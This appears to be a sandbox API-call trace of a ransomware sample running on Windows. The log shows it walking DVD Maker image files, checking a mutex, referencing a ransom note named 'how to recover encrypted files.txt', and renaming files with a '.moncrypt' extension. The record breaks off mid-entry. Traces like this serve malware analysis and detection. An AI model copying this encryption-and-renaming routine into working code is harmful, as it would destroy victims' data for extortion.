[0058.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png", cchWideChar=63, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png", lpUsedDefaultChar=0x0) returned 63 [0058.561] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Sports\\GoldRing.png", lpUsedDefaultChar=0x0) returned 4 [0058.562] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 0x54e280 [0058.562] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.562] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.562] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.562] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png", dwFileAttributes=0x20) returned 0 [0058.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.563] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png.moncrypt")) returned 0 [0058.564] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0058.564] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.564] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.564] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.564] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.564] GlobalUnlock (hMem=0x440004) returned 0 [0058.564] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.564] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.564] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.564] GlobalUnlock (hMem=0x440004) returned 0 [0058.564] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.564] GlobalUnlock (hMem=0x44000c) returned 0 [0058.564] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.564] CharLowerBuffW (in: lpsz="highlight.png", cchLength=0xd | out: lpsz="highlight.png") returned 0xd [0058.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png", cchWideChar=64, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png ", lpUsedDefaultChar=0x0) returned 64 [0058.565] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Sports\\highlight.png ", lpUsedDefaultChar=0x0) returned 4 [0058.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 0x54e280 [0058.565] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.565] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.565] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.565] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png", dwFileAttributes=0x20) returned 0 [0058.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.566] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png.moncrypt")) returned 0 [0058.566] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1 [0058.566] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.566] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.566] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.566] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.566] GlobalUnlock (hMem=0x44000c) returned 0 [0058.566] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.566] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.566] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.567] GlobalUnlock (hMem=0x44000c) returned 0 [0058.567] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.567] GlobalUnlock (hMem=0x440004) returned 0 [0058.567] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.567] CharLowerBuffW (in: lpsz="NavigationButtonSubpicture.png", cchLength=0x1e | out: lpsz="navigationbuttonsubpicture.png") returned 0x1e [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png", cchWideChar=81, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png", lpUsedDefaultChar=0x0) returned 81 [0058.568] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Sports\\NavigationButtonSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0058.568] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.568] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.568] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.568] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.568] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.569] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.569] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png.moncrypt")) returned 0 [0058.569] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0058.569] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.569] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.569] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.569] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.569] GlobalUnlock (hMem=0x440004) returned 0 [0058.569] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.569] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.569] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.570] GlobalUnlock (hMem=0x440004) returned 0 [0058.570] 